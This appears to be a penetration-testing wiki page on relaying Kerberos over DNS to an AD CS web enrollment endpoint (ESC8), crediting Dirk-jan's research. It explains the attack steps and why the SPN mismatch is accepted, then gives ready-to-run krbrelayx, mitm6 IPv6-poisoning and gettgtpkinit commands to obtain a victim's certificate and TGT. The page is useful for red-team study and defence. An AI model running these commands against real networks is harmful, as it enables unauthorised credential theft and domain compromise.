# Relay (DNS to HTTP)

{% embed url="<https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/>" %}

{% embed url="<https://github.com/dirkjanm/krbrelayx>" %}

{% embed url="<https://github.com/dirkjanm/mitm6>" %}

[Dirk-jan](https://dirkjanm.io/) did some cool research in 2022 with an example of how an attacker could capture Kerberos authentication from computers and relay that authentication to the HTTP enrollment endpoint on an AD CS server (ESC8 abuse).

The attack follows these steps:

1. Attacker runs [mitm6](https://stuff.weelee.zip/network/on-prem-active-directory/adversary-in-the-middle/ipv6) as a way to get clients to authenticate to the attacker-controlled host
   * mitm6 is run with --relay \[AD CS hostname], which will specify the AD CS hostname as the authoritative nameserver
2. The client requests a ST from the KDC for `DNS/[AD CS hostname]`, and sends the ST to the attacker
3. Attacker relays the ST to the HTTP enrollment endpoint on the AD CS server

{% hint style="info" %}
Relaying from DNS/adcs.domain.com to HTTP/adcs.domain.com is possible because Kerberos validation at the service only requires that the server can decrypt the ticket with its key.

By default, the service does not strictly enforce that the SPN inside the ticket matches the service being accessed.
{% endhint %}

## Exploit

{% code title="Linux" %}

```fish
## Run krbrelayx.py to start the relay channel
krbrelayx.py --target http://adcs.domain.com/certsrv/ -ip [attacker ip] --victim [victim FQDN] --adcs --template [CA template]

## Start IPv6 poisoning targeting our victim with the AD CS host as the relay target
mitm6 --domain [domain] --host-allowlist [victim FQDN] --relay [AD CS FQDN]

## Request a TGT using the obtained base-64 certificate (pfx)
gettgtpkinit.py -pfx-base64 [base64 certificate] '[domain]/victim$' victim.ccache

## Set the newly obtained ccache to the Kerberos credential cache environment variable
export KRB5CCNAME=/path/to/victim.ccache
```

{% endcode %}